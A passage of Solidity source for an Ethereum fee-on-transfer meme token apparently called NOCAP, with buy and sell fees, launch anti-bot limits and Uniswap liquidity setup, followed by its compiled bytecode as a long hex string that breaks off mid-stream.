payable public _FeeAddress2; address public uniswapV2Pair; uint public _buyFee = 10; uint public _sellFee = 10; uint private _feeRate = 15; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap = false; bool public _useImpactFeeSetter = false; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event FeeAddress1Updated(address _feewallet1); event FeeAddress2Updated(address _feewallet2); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable FeeAddress1, address payable FeeAddress2) { _FeeAddress1 = FeeAddress1; _FeeAddress2 = FeeAddress2; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress1] = true; _isExcludedFromFee[FeeAddress2] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){ require (recipient == tx.origin, "pls no bot"); } _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); require(block.timestamp != _launchedAt, "pls no snip"); if((_launchedAt + (12 hours)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5% } if(!cooldown[to].exists) { cooldown[to] = User(0,true); } if((_launchedAt + (120 seconds)) > block.timestamp) { require(amount <= _maxBuyAmount, "Exceeds maximum buy amount."); require(cooldown[to].buy < block.timestamp + (30 seconds), "Your buy cooldown has not expired."); } cooldown[to].buy = block.timestamp; isBuy = true; } // sell if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired."); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeAddress1.transfer(amount / 2); _FeeAddress2.transfer(amount / 2); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; if(block.timestamp < _launchedAt + (1 hours)) { fee += 5; } } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 5000000000 * 10**9; // .5% _maxHeldTokens = 50000000000 * 10**9; // 5% } function manualswap() external { require(_msgSender() == _FeeAddress1); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress1); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external { require(_msgSender() == _FeeAddress1); require(rate > 0, "Rate can't be zero"); // 100% is the common fee rate _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _FeeAddress1); require(buy < 10 && sell < 10 && buy < _buyFee && sell < _sellFee, "Don't be greedy."); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external { require(_msgSender() == _FeeAddress1); _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateFeeAddress1(address newAddress) external { require(_msgSender() == _FeeAddress1); _FeeAddress1 = payable(newAddress); emit FeeAddress1Updated(_FeeAddress1); } function updateFeeAddress2(address newAddress) external { require(_msgSender() == _FeeAddress2); _FeeAddress2 = payable(newAddress); emit FeeAddress2Updated(_FeeAddress2); } // view functions function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101dc5760003560e01c806349bd5a5e1161010257806395d89b4111610095578063db92dbb611610064578063db92dbb614610661578063dcb0e0ad1461068c578063dd62ed3e146106b5578063e8078d94146106f2576101e3565b806395d89b41146105cb578063a9059cbb146105f6578063c3c8cd8014610633578063c9567bf91461064a576101e3565b806370a08231116100d157806370a0823114610521578063715018a61461055e5780638da5cb5b1461057557806394b8d8f2146105a0576101e3565b806349bd5a5e1461048b57806350901617146104b6578063590f897e146104df5780636fc3eaec1461050a576101e3565b806323b872dd1161017a578063367c554411610149578063367c5544146103e15780633bed43551461040c57806340b9a54b1461043757806345596e2e14610462576101e3565b806323b872dd1461032357806327f3a72a14610360578063313ce5671461038b57806332d873d8146103b6576101e3565b8063095ea7b3116101b6578063095ea7b3146102675780630b78f9c0146102a457806318160ddd146102cd5780631940d020146102f8576101e3565b80630492f055146101e857806306fdde03146102135780630802d2f61461023e576101e3565b366101e357005b600080fd5b3480156101f457600080fd5b506101fd610709565b60405161020a9190612930565b60405180910390f35b34801561021f57600080fd5b5061022861070f565b60405161023591906129e4565b60405180910390f35b34801561024a57600080fd5b5061026560048036038101906102609190612a69565b610748565b005b34801561027357600080fd5b5061028e60048036038101906102899190612ac2565b610846565b60405161029b9190612b1d565b60405180910390f35b3480156102b057600080fd5b506102cb60048036038101906102c69190612b38565b610864565b005b3480156102d957600080fd5b506102e261097d565b6040516102ef9190612930565b60405180910390f35b34801561030457600080fd5b5061030d61098e565b60405161031a9190612930565b60405180910390f35b34801561032f57600080fd5b5061034a60048036038101906103459190612b78565b610994565b6040516103579190612b1d565b60405180910390f35b34801561036c57600080fd5b50610375610b85565b6040516103829190612930565b60405180910390f35b34801561039757600080fd5b506103a0610b95565b6040516103ad9190612be7565b60405180910390f35b3480156103c257600080fd5b506103cb610b9a565b6040516103d89190612930565b60405180910390f35b3480156103ed57600080fd5b506103f6610ba0565b6040516104039190612c23565b60405180910390f35b34801561041857600080fd5b50610421610bc6565b60405161042e9190612c23565b60405180910390f35b34801561044357600080fd5b5061044c610bec565b6040516104599190612930565b60405180910390f35b34801561046e57600080fd5b5061048960048036038101906104849190612c3e565b610bf2565b005b34801561049757600080fd5b506104a0610cd9565b6040516104ad9190612c7a565b60405180910390f35b3480156104c257600080fd5b506104dd60048036038101906104d89190612a69565b610cff565b005b3480156104eb57600080fd5b506104f4610dfd565b6040516105019190612930565b60405180910390f35b34801561051657600080fd5b5061051f610e03565b005b34801561052d57600080fd5b5061054860048036038101906105439190612a69565b610e75565b6040516105559190612930565b60405180910390f35b34801561056a57600080fd5b50610573610ebe565b005b34801561058157600080fd5b5061058a611011565b6040516105979190612c7a565b60405180910390f35b3480156105ac57600080fd5b506105b561103a565b6040516105c29190612b1d565b60405180910390f35b3480156105d757600080fd5b506105e061104d565b6040516105ed91906129e4565b60405180910390f35b34801561060257600080fd5b5061061d60048036038101906106189190612ac2565b611086565b60405161062a9190612b1d565b60405180910390f35b34801561063f57600080fd5b506106486110a4565b005b34801561065657600080fd5b5061065f61111e565b005b34801561066d57600080fd5b50610676611246565b6040516106839190612930565b60405180910390f35b34801561069857600080fd5b506106b360048036038101906106ae9190612cc1565b611278565b005b3480156106c157600080fd5b506106dc60048036038101906106d79190612cee565b61133c565b6040516106e99190612930565b60405180910390f35b3480156106fe57600080fd5b506107076113c3565b005b600d5481565b6040518060400160405280600581526020017f4e4f43415000000000000000000000000000000000000000000000000000000081525081565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610789611874565b73ffffffffffffffffffffffffffffffffffffffff16146107a957600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660405161083b9190612d8d565b60405180910390a150565b600061085a610853611874565b848461187c565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108a5611874565b73ffffffffffffffffffffffffffffffffffffffff16146108c557600080fd5b600a821080156108d55750600a81105b80156108e25750600a5482105b80156108ef5750600b5481105b61092e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092590612df4565b60405180910390fd5b81600a8190555080600b819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1600a54600b54604051610971929190612e14565b60405180910390a15050565b6000683635c9adc5dea00000905090565b600e5481565b6000601060009054906101000a900460ff1680156109fc5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610a555750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15610ac9573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610ac8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abf90612e89565b60405180910390fd5b5b610ad4848484611a47565b600082600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b20611874565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b659190612ed8565b9050610b7985610b73611874565b8361187c565b60019150509392505050565b6000610b9030610e75565b905090565b600981565b600f5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c33611874565b73ffffffffffffffffffffffffffffffffffffffff1614610c5357600080fd5b60008111610c96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8d90612f58565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c54604051610cce9190612930565b60405180910390a150565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d40611874565b73ffffffffffffffffffffffffffffffffffffffff1614610d6057600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051610df29190612d8d565b60405180910390a150565b600b5481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e44611874565b73ffffffffffffffffffffffffffffffffffffffff1614610e6457600080fd5b6000479050610e72816122c8565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ec6611874565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4a90612fc4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601060029054906101000a900460ff1681565b6040518060400160405280600581526020017f4e4f43415000000000000000000000000000000000000000000000000000000081525081565b600061109a611093611874565b8484611a47565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110e5611874565b73ffffffffffffffffffffffffffffffffffffffff161461110557600080fd5b600061111030610e75565b905061111b816123b5565b50565b611126611874565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111aa90612fc4565b60405180910390fd5b601060009054906101000a900460ff1615611203576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fa90613030565b60405180910390fd5b6001601060006101000a81548160ff02191690831515021790555042600f81905550674563918244f40000600d819055506802b5e3af16b1880000600e81905550565b6000611273600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e75565b905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112b9611874565b73ffffffffffffffffffffffffffffffffffffffff16146112d957600080fd5b80601060026101000a81548160ff0219169083151502179055507ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb601060029054906101000a900460ff166040516113319190612b1d565b60405180910390a150565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113cb611874565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611458576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144f90612fc4565b60405180910390fd5b601060009054906101000a900460ff16156114a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149f90613030565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061153830600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061187c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611583573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a79190613065565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561160e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116329190613065565b6040518363ffffffff1660e01b815260040161164f929190613092565b6020604051808303816000875af115801561166e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116929190613065565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061171b30610e75565b600080611726611011565b426040518863ffffffff1660e01b8152600401611748969594939291906130f6565b60606040518083038185885af1158015611766573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061178b919061316c565b505050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161182d9291906131bf565b6020604051808303816000875af115801561184c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061187091906131fd565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e39061329c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561195c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119539061332e565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a3a9190612930565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ab7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aae906133c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1e90613452565b60405180910390fd5b60008111611b6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b61906134e4565b60405180910390fd5b6000611b74611011565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611be25750611bb2611011565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561220357600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611c925750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611ce85750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561200357601060009054906101000a900460ff16611d3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3390613550565b60405180910390fd5b600f54421415611d81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d78906135bc565b60405180910390fd5b4261a8c0600f54611d9291906135dc565b1115611df157600e54611da484610e75565b83611daf91906135dc565b1115611df0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de7906136a4565b60405180910390fd5b5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900460ff16611ecb5760405180604001604052806000815260200160011515815250600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010160006101000a81548160ff0219169083151502179055509050505b426078600f54611edb91906135dc565b1115611fb757600d54821115611f26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f1d90613710565b60405180910390fd5b601e42611f3391906135dc565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611fb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fad906137a2565b60405180910390fd5b5b42600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600190505b601060019054906101000a900460ff1615801561202c5750601060009054906101000a900460ff165b80156120865750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561220257600f4261209891906135dc565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061211b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211290613834565b60405180910390fd5b600061212630610e75565b905060008111156121e357601060029054906101000a900460ff16156121d9576064600c54612176600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e75565b6121809190613854565b61218a91906138dd565b8111156121d8576064600c546121c1600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e75565b6121cb9190613854565b6121d591906138dd565b90505b5b6121e2816123b5565b5b600047905060008111156121fb576121fa476122c8565b5b6000925050505b5b600060019050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122aa5750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122b457600090505b6122c1858585848661262e565b5050505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc60028361231191906138dd565b9081150290604051600060405180830381858888f1935050505015801561233c573d6000803e3d6000fd5b50600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc60028361238691906138dd565b9081150290604051600060405180830381858888f193505050501580156123b1573d6000803e3d6000fd5b5050565b6001601060016101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123ed576123ec61390e565b5b60405190808252806020026020018201604052801561241b5781602001602082028036833780820191505090505b50905030816000815181106124335761243261393d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156124da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124fe9190613065565b816001815181106125125761251161393d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061257930600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461187c565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125dd959493929190613a2a565b600060405180830381600087803b1580156125f757600080fd5b505af115801561260b573d6000803e3d6000fd5b50505050506000601060016101000a81548160ff02191690831515021790555050565b600061263a8383612650565b9050612648868686846126a5565b505050505050565b60008060009050831561269b57821561266d57600a54905061269a565b600b549050610e10600f5461268291906135dc565b4210156126995760058161269691906135dc565b90505b5b5b8091505092915050565b6000806126b28484612848565b9150915083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127019190612ed8565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461278f91906135dc565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127db81612886565b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516128389190612930565b60405180910390a3505050505050565b60008060006064848661285b9190613854565b61286591906138dd565b9050600081866128759190612ed8565b905080829350935050509250929050565b80600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128d191906135dc565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000819050919050565b61292a81612917565b82525050565b60006020820190506129456000830184612921565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561298557808201518184015260208101905061296a565b83811115612994576000848401525b50505050565b6000601f19601f8301169050919050565b60006129b68261294b565b6129c08185612956565b93506129d0818560208601612967565b6129d98161299a565b840191505092915050565b600060208201905081810360008301526129fe81846129ab565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a3682612a0b565b9050919050565b612a4681612a2b565b8114612a5157600080fd5b50565b600081359050612a6381612a3d565b92915050565b600060208284031215612a7f57612a7e612a06565b5b6000612a8d84828501612a54565b91505092915050565b612a9f81612917565b8114612aaa57600080fd5b50565b600081359050612abc81612a96565b92915050565b60008060408385031215612ad957612ad8612a06565b5b6000612ae785828601612a54565b9250506020612af885828601612aad565b9150509250929050565b60008115159050919050565b612b1781612b02565b82525050565b6000602082019050612b326000830184612b0e565b92915050565b60008060408385031215612b4f57612b4e612a06565b5b6000612b5d85828601612aad565b9250506020612b6e85828601612aad565b9150509250929050565b600080600060608486031215612b9157612b90612a06565b5b6000612b9f86828701612a54565b9350506020612bb086828701612a54565b9250506040612bc186828701612aad565b9150509250925092565b600060ff82169050919050565b612be181612bcb565b82525050565b6000602082019050612bfc6000830184612bd8565b92915050565b6000612c0d82612a0b565b9050919050565b612c1d81612c02565b82525050565b6000602082019050612c386000830184612c14565b92915050565b600060208284031215612c5457612c53612a06565b5b6000612c6284828501612aad565b91505092915050565b612c7481612a2b565b82525050565b6000602082019050612c8f6000830184612c6b565b92915050565b612c9e81612b02565b8114612ca957600080fd5b50565b600081359050612cbb81612c95565b92915050565b600060208284031215612cd757612cd6612a06565b5b6000612ce584828501612cac565b91505092915050565b60008060408385031215612d0557612d04612a06565b5b6000612d1385828601612a54565b9250506020612d2485828601612a54565b9150509250929050565b6000819050919050565b6000612d53612d4e612d4984612a0b565b612d2e565b612a0b565b9050919050565b6000612d6582612d38565b9050919050565b6000612d7782612d5a565b9050919050565b612d8781612d6c565b82525050565b6000602082019050612da26000830184612d7e565b92915050565b7f446f6e2774206265206772656564792e00000000000000000000000000000000600082015250565b6000612dde601083612956565b9150612de982612da8565b602082019050919050565b60006020820190508181036000830152612e0d81612dd1565b9050919050565b6000604082019050612e296000830185612921565b612e366020830184612921565b9392505050565b7f706c73206e6f20626f7400000000000000000000000000000000000000000000600082015250565b6000612e73600a83612956565b9150612e7e82612e3d565b602082019050919050565b60006020820190508181036000830152612ea281612e66565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612ee382612917565b9150612eee83612917565b925082821015612f0157612f00612ea9565b5b828203905092915050565b7f526174652063616e2774206265207a65726f0000000000000000000000000000600082015250565b6000612f42601283612956565b9150612f4d82612f0c565b602082019050919050565b60006020820190508181036000830152612f7181612f35565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612fae602083612956565b9150612fb982612f78565b602082019050919050565b60006020820190508181036000830152612fdd81612fa1565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b600061301a601783612956565b915061302582612fe4565b602082019050919050565b600060208201905081810360008301526130498161300d565b9050919050565b60008151905061305f81612a3d565b92915050565b60006020828403121561307b5761307a612a06565b5b600061308984828501613050565b91505092915050565b60006040820190506130a76000830185612c6b565b6130b46020830184612c6b565b9392505050565b6000819050919050565b60006130e06130db6130d6846130bb565b612d2e565b612917565b9050919050565b6130f0816130c5565b82525050565b600060c08201905061310b6000830189612c6b565b6131186020830188612921565b61312560408301876130e7565b61313260608301866130e7565b61313f6080830185612c6b565b61314c60a0830184612921565b979650505050505050565b60008151905061316681612a96565b92915050565b60008060006060848603121561318557613184612a